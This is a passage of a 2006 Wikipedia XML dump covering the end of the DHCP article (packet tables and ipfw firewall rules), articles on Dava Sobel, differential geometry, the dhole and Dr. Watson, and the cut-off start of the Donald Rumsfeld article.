&lt;td valign=&quot;top&quot;&gt;&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;&lt;caption&gt;DHCPREQUEST&lt;/caption&gt;
&lt;tr&gt;&lt;td colspan=4&gt;UDP Src=0.0.0.0  sPort=68 Dest=255.255.255.255 dPort=67 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;OP&lt;/th&gt;&lt;th&gt;HTYPE&lt;/th&gt;&lt;th&gt;HLEN&lt;/th&gt;&lt;th&gt;HOPS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x06&lt;/td&gt;&lt;td&gt;0x00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;XID&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x3903F326&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=2&gt;SECS&lt;/th&gt;&lt;th colspan=2&gt;FLAGS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;YIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;SIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;GIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CHADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00053C04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x8D590000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;192 octets of 0's. [[BOOTP]] legacy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 53: DHCP Request&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 50: 192.168.1.100 requested&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;

===DHCP Acknowledge===

The server acknowledges the request and sends the acknowledgement to the client. The system as a whole expects the client to configure its network interface with the supplied options.
&lt;td valign=&quot;top&quot;&gt;&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;&lt;caption&gt;DHCPACK&lt;/caption&gt;
&lt;tr&gt;&lt;td colspan=4&gt;UDP Src=192.168.1.1  sPort=67  Dest=255.255.255.255  dPort=68 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;OP&lt;/th&gt;&lt;th&gt;HTYPE&lt;/th&gt;&lt;th&gt;HLEN&lt;/th&gt;&lt;th&gt;HOPS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0x02&lt;/td&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x06&lt;/td&gt;&lt;td&gt;0x00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;XID&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x3903F326&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=2&gt;SECS&lt;/th&gt;&lt;th colspan=2&gt;FLAGS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;YIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0xC0A80164&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;SIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;GIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CHADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00053C04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x8D590000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;192 octets of 0's. [[BOOTP]] legacy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 53: DHCP ACK&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 1: 255.255.255.0 subnet mask&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 3: 192.168.1.1 router&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 51: 1 day IP lease time&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 54: 192.168.1.1 DHCP server&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

===DHCP Inform===
The client sends a request to the DHCP server: either to request more information than the server sent with the original DHCPACK; or to repeat data for a particular application - for example, browsers use ''DHCP Inform'' to obtain web proxy settings via [[Web Proxy Autodiscovery Protocol|WPAD]].  Such queries do not cause the DHCP server to refresh the IP expiry time in its database.

===DHCP Release===
The client sends a request to the DHCP server to release the DHCP and the client unconfigures its IP address. As clients usually do not know when users may unplug them from the network, the protocol does not define the sending of ''DHCP Release'' as mandatory.

==DHCP and firewalls==
[[Firewall (networking) | Firewall]]s usually have to permit DHCP traffic explicitly. Specification of the DHCP client-server protocol describes several cases when packets must have the source address of 0x00000000 or the destination address of 0xffffffff. Anti-[[spoofing attack|spoofing]] policy rules and tight inclusive firewalls often stop such packets. Multi-homed DHCP servers, as well as DHCP servers with multiple IP addresses assigned to a single interface, both require special consideration and further complicate configuration.

To allow DHCP network administrators need to allow several types of packets through the server-side firewall. All DHCP packets travel as UDP datagrams; all client-sent packets sent have source port 68 and destination port 67; all server-sent packets have source port 67 and destination port 68. For example, a server-side firewall should allow the following types of packets:
* Incoming packets from 0.0.0.0 or dhcp-pool to dhcp-ip
* Incoming packets from any address to 255.255.255.255
* Outgoing packets from dhcp-ip to dhcp-pool or 255.255.255.255
where ''dhcp-ip'' represents any address configured on the DHCP server host and ''dhcp-pool'' stands for any address assigned by the DHCP server

===Example in ipfw firewall===
To give an idea of how a configuration would look in production, the following rules for a server-side [[ipfw]] firewall allow DHCP traffic through. Dhcpd operates on interface rl0 and assigns addresses from 192.168.0.0/24 :
 pass udp from 0.0.0.0,192.168.0.0/24 68 to me 67 in recv rl0
 pass udp from any 68 to 255.255.255.255 67 in recv rl0
 pass udp from me 67 to 192.168.0.0/24,255.255.255.255 68 out xmit rl0

==See also==
*[[RARP]]
*[[BOOTP]]
*[[Zeroconf]]

==External links==
*RFC 2131 - Dynamic Host Configuration Protocol
*RFC 2132 - DHCP Options and BOOTP Vendor Extensions
*[http://www.bind9.net/rfc-dhcp DHCP RFC] - Dynamic Host Configuration Protocol RFC's (IETF)
*[http://www.windowsecurity.com/articles/DHCP-Security-Part1.html DHCP Server Security] - This article looks at the different types of threats faced by DHCP servers and counter-measures for mitigating these threats.
*RFC 4242 - Information Refresh Time Option for Dynamic Host Configuration Protocol for IPv6
*[http://www.eventhelix.com/RealtimeMantra/Networking/DHCP.pdf DHCP Sequence Diagram] - This sequence diagram covers several scenarios of DHCP operation.

[[Category:Internet protocols]]
[[Category:Internet standards]]

[[cs:DHCP]]
[[da:DHCP]]
[[de:Dynamic Host Configuration Protocol]]
[[et:Dünaamiline hostikonfiguratsiooni protokoll]]
[[el:DHCP]]
[[es:DHCP]]
[[fr:Dynamic Host Configuration Protocol]]
[[it:DHCP]]
[[he:DHCP]]
[[hu:DHCP]]
[[nl:Dynamic Host Configuration Protocol]]
[[ja:Dynamic Host Configuration Protocol]]
[[no:DHCP]]
[[pl:DHCP]]
[[pt:DHCP]]
[[ru:DHCP]]
[[sl:DHCP]]
[[fi:DHCP]]
[[sv:DHCP]]
[[th:Dynamic Host Configuration Protocol]]
[[tr:DHCP]]
[[zh:DHCP]]</text>
    </revision>
  </page>
  <page>
    <title>Dava Sobel</title>
    <id>8623</id>
    <revision>
      <id>36687476</id>
      <timestamp>2006-01-25T20:35:14Z</timestamp>
      <contributor>
        <username>Yearofthedragon</username>
        <id>472</id>
      </contributor>
      <comment>Spanish translation</comment>
      <text xml:space="preserve">'''Dava Sobel''' is a [[writer]] of popular expositions of scientific topics.  Her works include:

* ''[[Longitude (book)|Longitude]] : The True Story of a Lone Genius Who Solved the Greatest Scientific Problem of His Time'' ([[1995]]) - the genius in question was [[John Harrison]], who spent decades trying to convince the [[British Admiralty]] of the accuracy of his naval timepieces and their use in determining one's [[longitude]] at sea in order to win the [[longitude prize]].
* ''[[Galileo Galilei|Galileo's]] Daughter: A Historical Memoir of Science, Faith, and Love'' (2000)
* ''[[Planet|The Planets]] (2005)

''Longitude'' was dramatized for [[television]] by [[A&amp;E Network|A&amp;E]] in [[1999]]. [[Michael Gambon]] played John Harrison, and [[Jeremy Irons]] played [[Rupert Gould]], who restored Harrison's timepieces for posterity in the mid [[20th century]].

&lt;!-- To do: include literary criticism of her works. What is the consensus? Is her scholarship accurate? Does she shed new light on, for example, the Galileo controversy? --&gt;

==External links==
* [http://www.galileosdaughter.com/author.shtml About the Author: Dava Sobel].
* [http://www.sailtexas.com/long.html About the book Longitude].

[[de:Dava Sobel]]
[[es:Dava Sobel]]
[[pt:Dava Sobel]]


{{Scientist-stub}}
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  </page>
  <page>
    <title>Differential geometry and topology</title>
    <id>8625</id>
    <revision>
      <id>40681622</id>
      <timestamp>2006-02-22T06:51:34Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/131.215.6.88|131.215.6.88]] ([[User talk:131.215.6.88|talk]]) to last version by Mathbot</comment>
      <text xml:space="preserve">In [[mathematics]], '''differential topology''' is the field dealing with differentiable [[function (mathematics)|function]]s on differentiable [[manifold]]s. It arises naturally from the study of the theory of [[differential equation]]s. '''Differential geometry''' is the study of [[geometry]] using [[calculus]]. These fields are adjacent, and have many applications in [[physics]], notably in the [[theory of relativity]]. Together they make up the geometric theory of differentiable manifolds - which can also be studied directly from the point of view of [[dynamical system]]s.

==Intrinsic versus extrinsic==

Initially and up to the middle of the [[nineteenth century]], differential geometry was studied from the ''extrinsic'' point of view: [[curve]]s, [[surface]]s were considered as lying in a [[Euclidean space]] of higher dimension (for example a surface in an ambient space of three dimensions). The simplest results are those in the [[differential geometry of curves]]. Starting with the work of [[Bernhard Riemann|Riemann]], the ''intrinsic'' point of view was developed, in which one cannot speak of moving 'outside' the geometric object because it is considered as given in a free-standing way.

The intrinsic point of view is more flexible. For example, it is useful in relativity where space-time cannot naturally be taken as extrinsic (what would be 'outside' it?). With the intrinsic point of view it is harder to define the central concept of [[curvature]] and other structures such as [[Connection (mathematics)|connection]]s, so there is a price to pay.

These two points of view can be reconciled, i.e. the extrinsic geometry can be considered as a structure additional to the intrinsic one (see the [[Nash embedding theorem]]).

==Technical requirements==

The apparatus of differential geometry is that of ''calculus on manifolds'': this includes the study of [[manifold]]s, [[tangent bundle]]s, [[cotangent bundle]]s, [[ differential form]]s, [[exterior derivative]]s,[[Differential form|integrals]] of ''p''-forms over ''p''-dimensional submanifolds and [[Stokes' theorem]], [[wedge product]]s, and [[Lie derivative]]s. These all relate to [[multivariable calculus]]; but for the geometric applications must be developed in a way that makes good sense without a preferred [[coordinate system]]. The distinctive concepts of differential geometry can be said to be those that embody the geometric nature of the ''second derivative'': the many aspects of [[curvature]].

A [[differential manifold]] is a [[topological space]] with a collection of [[homeomorphism]]s from open sets of the space to open subsets in '''R'''&lt;sup&gt;n&lt;/sup&gt; such that the open sets cover the space, and if '''f''', '''g''' are homeomorphisms then the function 
'''f''' o '''g''' &lt;sup&gt;-1&lt;/sup&gt; 
from an open subset of the open unit ball to the open unit ball is infinitely differentiable. We say a function from the manifold to '''R''' is infinitely differentiable if its composition with every homeomorphism results in an infinitely differentiable function from the open [[unit ball]] to '''R'''.

At every point of the manifold, there is the [[tangent space]] at that point, which consists of every possible velocity (direction and magnitude) with which it is possible to travel away from this point.  For an n-dimensional manifold, the tangent space at any point is an n-dimensional vector space, or in other words a copy of '''R'''&lt;sup&gt;n&lt;/sup&gt;. The tangent space has many definitions. One definition of the tangent space is as the dual space to the linear space of all functions which are zero at that point, divided by the space of functions which are zero and have a first derivative of zero at that point. Having a zero derivative can be defined by &quot;composition by every differentiable function to the reals has a zero derivative&quot;, so it is defined just by differentiability. 

A [[vector field]] is a function from a manifold to the disjoint union of its tangent spaces (this union is itself a manifold known as the [[tangent bundle]]), such that at each point, the value is an element of the tangent space at that point.  Such a mapping is called a [[section]] of a [[bundle]].  A vector field is differentiable if for every differentiable function, applying the vector field to the function at each point yields a differentiable function. Vector fields can be thought of as time-independent differential equations. A differentiable function from the reals to the manifold is a curve on the manifold.  This defines a function from the reals to the tangent spaces: the velocity of the curve at each point it passes through. A curve will be said to be a solution of the vector field if, at every point, the velocity of the curve is equal to the vector field at that point.

An alternating k-dimensional linear form is an element of the antisymmetric k'th tensor power of the dual V&lt;sup&gt;*&lt;/sup&gt; of some vector space V. A differential k-form on a manifold is a choice, at each point of the manifold, of such an alternating k-form -- where V is the tangent space at that point. This will be called differentiable if whenever it operates on k differentiable vector fields, the result is a differentiable function from the manifold to the reals. A space form is a linear form with the dimensionality of the manifold.

==Differential topology==

Differential topology per se considers the properties and structures that require only a smooth structure on a manifold to define (such as those in the previous section).  Smooth manifolds are 'softer' than manifolds with extra geometric structures, which can act as obstructions to certain types of equivalences and deformations that exist in differential topology.  For instance, volume and Riemannian curvature are invariants that can distinguish different geometric structures on the same smooth manifold&amp;mdash;that is, one can smoothly &quot;flatten out&quot; certain manifolds, but it might require distorting the space and affecting the curvature or volume.

Conversely, smooth manifolds are  more rigid than the topological manifolds.  Certain topological manifolds have no smooth structures at all (see [[Donaldson's theorem]]) and others have more than one inequivalent smooth structure (such as [[exotic sphere]]s).  Some constructions of smooth manifold theory, such as the existence of tangent bundles, can be done in the topological setting with much more work, and others cannot.

==Branches of differential geometry==

===Contact geometry===

[[Contact geometry]] is an analog of [[symplectic manifold|symplectic geometry]] which works for certain manifolds of odd dimension. Roughly, the contact structure on (2''n''+1)-dimensional manifold is a choice of a hyperplane field that is nowhere integrable.  This is equivalent to the hyperplane field being defined by a [[Differential form|1-form]] &lt;math&gt;\alpha&lt;/math&gt; such that &lt;math&gt;\alpha\wedge (d\alpha)^n&lt;/math&gt; does not vanish anywhere.

===Finsler geometry===

[[Finsler geometry]] has the ''Finsler manifold '' as the main object of study &amp;mdash; this is a differential manifold with a [[Finsler metric]], i.e. a [[Banach norm]] defined on each tangent space. A Finsler metric is much more general structure than a Riemannian metric.

===Riemannian geometry===

[[Riemannian geometry]] has [[Riemannian manifold]]s as the main object of study &amp;mdash; [[smooth manifold]]s with additional structure which makes them look ''infinitesimally'' like [[Euclidean space]]. These allow one to generalise the notion from Euclidean geometry and analysis such as [[gradient]] of a function, [[divergence]], [[length]] of [[curve]]s and so on; without assumptions that the space is ''globally'' so symmetric.  The Riemannian [[curvature]] [[tensor]] is an  important pointwise invariant associated to a Riemannian manifold that measures how close it is to being flat.

===Symplectic topology=== 

Symplectic topology is the study of ''symplectic manifolds'', which can occur only in even dimensions. A symplectic manifold is a differentiable manifold equipped with a symplectic form (that is, a [[Closed and exact differential forms|closed]] non-degenerate  2-[[Differential form|form]]).  Unlike in Riemannian geometry, all symplectic manifolds are locally isomorphic, so the only invariants of a symplectic manifold are global in nature.

==See also== 

*[[List of differential geometry topics]]
*[[Glossary of differential geometry and topology]]
*[[List of publications in mathematics#Differential geometry| Important publications in differential geometry]]
* [[List of publications in mathematics#Differential topology| Important publications in differential topology]]

==External links==

*[http://rsp.math.brandeis.edu/3D-XplorMath/Surface/a/bk/curves_surfaces_palais.pdf A Modern Course on Curves and Surface, Richard S Palais, 2003]
*[http://rsp.math.brandeis.edu/3D-XplorMath/Surface/gallery.html Richard Palais's 3DXM Surfaces Gallery]
*[http://www.cs.elte.hu/geometry/csikos/dif/dif.html Balázs Csikós's Notes on Differential Geometry]

==Reference books==

1. ''A Comprehensive Introduction to Differential Geometry (5 Volumes), 3rd Edition'' by Michael Spivak (1999)

2. ''Differential Geometry of Curves and Surfaces'' by Manfredo Do Carmo (1976). A classical geometric approach to differential geometry without the tensor machinery.  

3. ''Riemannian Geometry'' by Manfredo Perdigao do Carmo, Francis Flaherty (1994)

4. ''Geometry from a Differentiable Viewpoint'' by John McCleary (1994)

5. ''A First Course in Geometric Topology and Differential Geometry'' by Ethan D. Bloch (1996)

6. ''Modern Differential Geometry of Curves and Surfaces with Mathematica'', 2nd ed. by Alfred Gray (1998)

[[Category:Differential geometry| ]]
[[Category:Differential topology| ]]
{{Mathematics-footer}}

[[de:Differentialgeometrie]]
[[es:Geometría diferencial]]
[[fr:Géométrie différentielle]]
[[ja:微分幾何学]]
[[pt: Geometria diferencial]]
[[ru:Дифференциальная геометрия и топология]]
[[sv:Differentialgeometri]]
[[zh:微分拓扑]]</text>
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  <page>
    <title>Dhole</title>
    <id>8626</id>
    <revision>
      <id>41176472</id>
      <timestamp>2006-02-25T15:37:07Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">:''See also [[H. P. Lovecraft]]'s fictional monster [[Dhole (fictional)|Dhole]]''
:''For the town in France, see [[Cuon, Maine-et-Loire]].''
{{Taxobox
| color = pink
| name = Dhole
| status = {{StatusEndangered}}
| image = asian_red_dog.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Canidae]]
| genus = '''''Cuon'''''
| genus_authority = [[Brian Houghton Hodgson|Hodgson]], 1838
| species = '''''C. alpinus'''''
| binomial = ''Cuon alpinus''
| binomial_authority = ([[Peter Simon Pallas|Pallas]], [[1811]])
}}

The '''Dhole''' (''Cuon alpinus'') is a species of wild [[dog]] of the [[Canidae]] family. It is sometimes called the '''Indian Wild Dog''' where it is seen abundantly.  It is also known as the '''Red Dog''', the '''Whistling Hunter''', and the '''Asiatic Dog'''. They are the only [[species]] in the [[genus]] '''''Cuon'''''. 

== Habitat ==
Dholes prefer forested areas, which provides better cover for hunting, but also can be found in hilly, grassy meadows and mountainous regions. Dhole range includes south Asia, north into central Asia to the borders of [[Russia]], east to [[Malaysia]] and south to [[Sumatra]] and [[India]] and [[Java (island)]].

== Behaviour ==
The dhole is a social canid and is generally seen living in packs of ten or more. Dhole interact with other dholes outside of their own pack and may temporally form a pack of up to 40 members. Like [[Gray Wolf|wolves]], dholes engage in cooperative group hunting and care of pups. Their communication sounds range from screams, mewing, chatters, whistles, chicken-like clucking, and hisses.

== Hunting ==
Sometimes several families unite to attack larger animals. They prey on [[sambar]], [[nilgai]], [[chital]], [[blackbuck]], and [[pig]]s. As a large group they can attack even the [[Gaur|Indian bison]], [[leopard]] and [[tiger]]s. They are excellent swimmers, sometimes driving their prey into water.

Dholes appear in [[Rudyard Kipling]]'s children's story ''Red Dog'' and in ''[[The Second Jungle Book]]'' as a threat to [[Mowgli]]'s wolf pack.

==Subspecies==
*'''Dhole''' (''Cuon alpinus'') - Eastern Russia 
**''Cuon alpinus adustus'' - Northern Myanmar &amp; Indo-China 
**''Cuon alpinus dukhunensis'' - India, south of the Ganges river 
**''Cuon alpinus fumosus'' - Western Szechuan, China &amp; Mongolia 
**''Cuon alpinus hesperius'' - Eastern Russia &amp; China 
**''Cuon alpinus infuscus'' - Southern Myanmar, Malaysia, Thailand &amp; Vietnam. 
**''Cuon alpinus javanocus'' - Java 
**''Cuon alpinus laniger'' - Kashmir &amp; Southern Tibet
**''Cuon alpinus lepturus'' - China, south of the Yangzhe river 
**''Cuon alpinus primaevus'' - Himalayan regions of Nepal, Sikkim and Bhutan. 
**''Cuon alpinus sumatrensis'' - Sumatra

==External links==
*[http://www.cuon.net/dholes/ Dhole Home Page]
*[http://www.canids.org/SPPACCTS/dhole.htm Dhole info]
*[http://www.lioncrusher.com/animal.asp?animal=14 Dhole facts and pictures]
*[http://redlist.org/search/details.php?species=5953 ICUN threatened species- Dhole]
*[http://www.canids.org/PUBLICAT/CNDNEWS1/dhole.htm mapping the dhole in south east asia]
*[http://animaldiversity.ummz.umich.edu/site/accounts/information/Cuon_alpinus.html animal diversity - dhole]


[[Category:Canines]]
[[Category:Mammals of India]]
[[Category:Wildlife of Asia]]

[[bg:Азиатско диво куче]]
[[da:Dhole]]
[[de:Rothund]]
[[es:Cuon alpinus]]
[[fi:Vuorisusi]]
[[fr:Dhole]]
[[he:דהול]]
[[id:Ajag]]
[[it:Cuon alpinus]]
[[ja:ドール]]
[[lt:Raudonasis vilkas]]
[[ms:Anjing Hutan]]
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  <page>
    <title>Dr. Watson</title>
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      <comment>/* Notes */</comment>
      <text xml:space="preserve">'''Dr. John H. Watson''' is a [[fictional character]], the [[sidekick]] of [[Sherlock Holmes (character)|Sherlock Holmes]], the fictional [[19th century]] [[Detective fiction|detective]] created by [[Arthur Conan Doyle]], in the [[Sherlock Holmes|Sherlock Holmes novels]].  Various (extra-canonical) sources give Watson's birth date as [[August 7]], [[1852]] and his full name as '''Dr. John Hamish Watson'''.

==Background and description==
In the debut Holmes story ''[[A Study in Scarlet]]'' (published in [[1887]]), Watson, as the narrator, describes meeting Holmes, their subsequent sharing of rooms at [[221B Baker Street]], his attempts to discover the profession of his taciturn companion, Holmes's eventual taking of Watson into his confidence, and the events surrounding their first case together. Watson describes Holmes and his methods in detail, but in too romantic and sentimental a manner for Holmes' taste.  In time, they become close friends.

In ''[[The Sign of Four]]'', Watson met [[Mary Morstan]], who became his wife. Mary seemed somewhat less sure of her future husband, however, absent-mindedly calling him &quot;James.&quot; Some have speculated that this is a wifely reference to Watson's unknown middle name, which could have been &quot;Hamish&quot; (Scottish for &quot;James&quot;). She repeats the nickname (or Doyle repeats the error) in ''[[The Man with the Twisted Lip]].''

Watson is a physician of some experience (as was Conan Doyle). Watson had served in the [[British Army]] medical corps in [[Afghanistan]], having been discharged following an injury{{ref|injury}} received in the line of duty, during the [[Battle of Maiwand]].  Watson was almost killed in the long and arduous retreat from the battle, but was saved by his [[orderly]], Murray.

==Personality==
Watson is not a stupid man (he is, after all, a medical doctor, and one whose talents Holmes holds in the highest esteem), but he does not have Holmes' insight. He serves as a foil to Holmes: the ordinary man against the brilliant, emotionally-detached analytical machine that Holmes can sometimes be. With the two, Conan created a clever literary pairing: two vivid characters, different in their function and yet each useful for his purposes.

Watson is well aware of both the limits of his abilities and Holmes' reliance on him:

:&quot;[Holmes] was a man of habits... and I had become one of them... a comrade... upon whose nerve he could place some reliance... a whetstone for his mind. I stimulated him... If I irritated him by a certain methodical slowness in my mentality, that irritation  served only to make his own flame-like intuitions and impressions flash up the more vividly and swiftly. Such was my humble role in our alliance.&quot;

Conan Doyle portrays Watson as a capable and brave individual, whom Holmes does not hesitate to call upon for both moral and physical assistance: &quot;Quickly Watson, get your [[Dr. Watson's revolver|service revolver]]!&quot; Watson occasionally attempts to solve crimes on his own, using Holmes's methods. For example, in ''[[The Hound of the Baskervilles]]'', Watson efficiently clears up several of the many mysteries confronting the pair, and Holmes praises him warmly for his zeal and intelligence. However, because he is not endowed with Holmes's almost-superhuman ability to focus on the essential details of the case, he meets with limited success in other cases, as Holmes remarks &quot;Quite so... you see, but you do not observe.&quot; Watson is too guileless to be a proper detective; he is naturally open and straightforward, while Holmes can be secretive and devious.

Watson was something of a ladies' man and fans of the Conan Doyle stories have long speculated as to just how many times he was married.

===Watson as archetype of the sidekick===
In Conan Doyle's early rough plot outlines, he intended that the role of Watson would be filled by two junior detectives known as Sandifer and Phillip; these characters were merged into &quot;Watson.&quot; In turn, the introduction of Dr. Watson in the Holmes novels proved a precursor to other, similar characters. Many of the great fictional detectives have their Watson: [[Agatha Christie]]'s [[Hercule Poirot]], for example, is accompanied by Captain Arthur Hastings. In the words of William L. De Andrea,

:Watson also serves the important function of catalyst for Holmes's mental processes. [...] From the writer's point of view, Conan Doyle knew the importance of having someone to whom the detective can make enigmatic remarks, a consciousness that's privy to facts in the case without being in on the conclusions drawn from them until the proper time. Any character who performs these functions in a mystery story has come to be known as a &quot;Watson.&quot;

In [[1929]], English crime writer and critic [[Ronald Knox]] stated as one of his rules for fledgling writers of detective fiction as that -
:the stupid friend of the detective, the Watson, must not conceal from the reader any thoughts which pass through his mind; his intelligence must be slightly, but very slightly, below that of the average reader.&quot;

===Not necessarily a fool===
In a number of film adaptations, in particular those featuring the comic skills of the actor [[Nigel Bruce]], the character of Watson became more of a caricature. Far from being the able assistant as presented by Doyle, Watson was portrayed as an incompetent fool. Modern treatments have returned to the roots of Conan Doyle stories and have portrayed a more sympathetic and competent Watson.  The most famous example of this restored image of Watson is the depiction played by [[David Burke]] and later [[Edward Hardwicke]] in the [[1980s]] television series ''[[The Adventures of Sherlock Holmes (television)|The Adventures of Sherlock Holmes]]'', starring [[Jeremy Brett]] in the title role. Another well-liked depiction was by actor [[André Morell]] in the [[1961]] film version of ''[[The Hound of the Baskervilles]]''.

==Cultural references==
[[Microsoft Corporation]] named a tool for [[debugging]] [[Microsoft Windows]] applications &quot;Dr. Watson&quot; (drwatson.exe, drwtsn32.exe).

==Notes==
# {{note|injury}} Watson gives two separate locations for the [[Jezail]] bullet wound he received while serving in the British Army. In ''[[A Study in Scarlet]]'' he states &quot;I was struck on the shoulder by a Jezail bullet, which shattered the bone and grazed the [[subclavian artery]].&quot; However in ''[[The Sign of Four]]'', Watson informs us &quot;... [I] sat nursing my wounded leg. I had had a Jezail bullet through it some time before, and though it did not prevent me from walking it ached wearily at every change of the weather&quot;. ''[[The Adventure of the Noble Bachelor]]'' contains the only other reference to the injury. Here Watson is a little ambiguous; he tells us &quot;the Jezail bullet which I had brought back in one of my limbs as a relic of my [[Afghanistan|Afghan]] campaign throbbed with dull persistence.&quot;

==External links==

* [http://www.who2.com/drwatson.html Who2 biography]
*[http://www.parkcity.ne.jp/~hirayama/Hamish.htm A discussion of the middle name Hamish]
*[http://www.diogenes-club.com/watson.htm A short illustrated profile of Watson as Honorary Member of the Diogenes Club]
*[http://members.iinet.net.au/~exlibris/watson.html An analytical profile of The Good Doctor]

[[Category:Sherlock Holmes characters|Watson, Dr.]] [[Category:Fictional writers|Watson]]
[[Category:Fictional medical personnel|Watson]]
[[Category:Literature sidekicks|Watson]]
[[Category:Wold Newton Family Members|Watson, Dr.]]

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    <title>Donald Rumsfield</title>
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      <text xml:space="preserve">#REDIRECT [[Donald Rumsfeld]]
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  <page>
    <title>Donald Rumsfeld</title>
    <id>8629</id>
    <revision>
      <id>42063474</id>
      <timestamp>2006-03-03T15:34:35Z</timestamp>
      <contributor>
        <username>Ka1iban</username>
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      <comment>rv, please see 'Vandalism' on talk page for a discussion of this edit</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;float: right; margin: 0 0 1em 1em; text-align:left;&quot;
|+ style=&quot;margin-left: inherit; font-size: larger;&quot; | '''Donald H. Rumsfeld'''
|colspan=&quot;2&quot; align=&quot;center&quot;| [[Image:Rumsfeld1.jpg|200px|Donald H. Rumsfeld]]
|-
! Name:
| Donald Henry Rumsfeld
|-
! Order:
| 13th Secretary of Defense&lt;br&gt;21st Secretary of Defense
|-
! Term of Office:
| [[November 20]], [[1975]] &amp;ndash; [[January 20]], [[1977]]&lt;br&gt;[[January 20]], [[2001]]&amp;ndash; present
|-
! Preceded by:
| [[James R. Schlesinger]]&lt;br&gt;[[William S. Cohen]] &lt;!-- | '''Succeeded by:''' || [[Add Successor Here]] --&gt;
|-
| '''Succeeded by:''' || [[Harold Brown (Secretary of Defense)|Harold Brown]]&lt;br&gt;[[Incumbent]]
|-
! Date of Birth
| [[July 9]], [[1932]] 
|-
! Place of Birth:
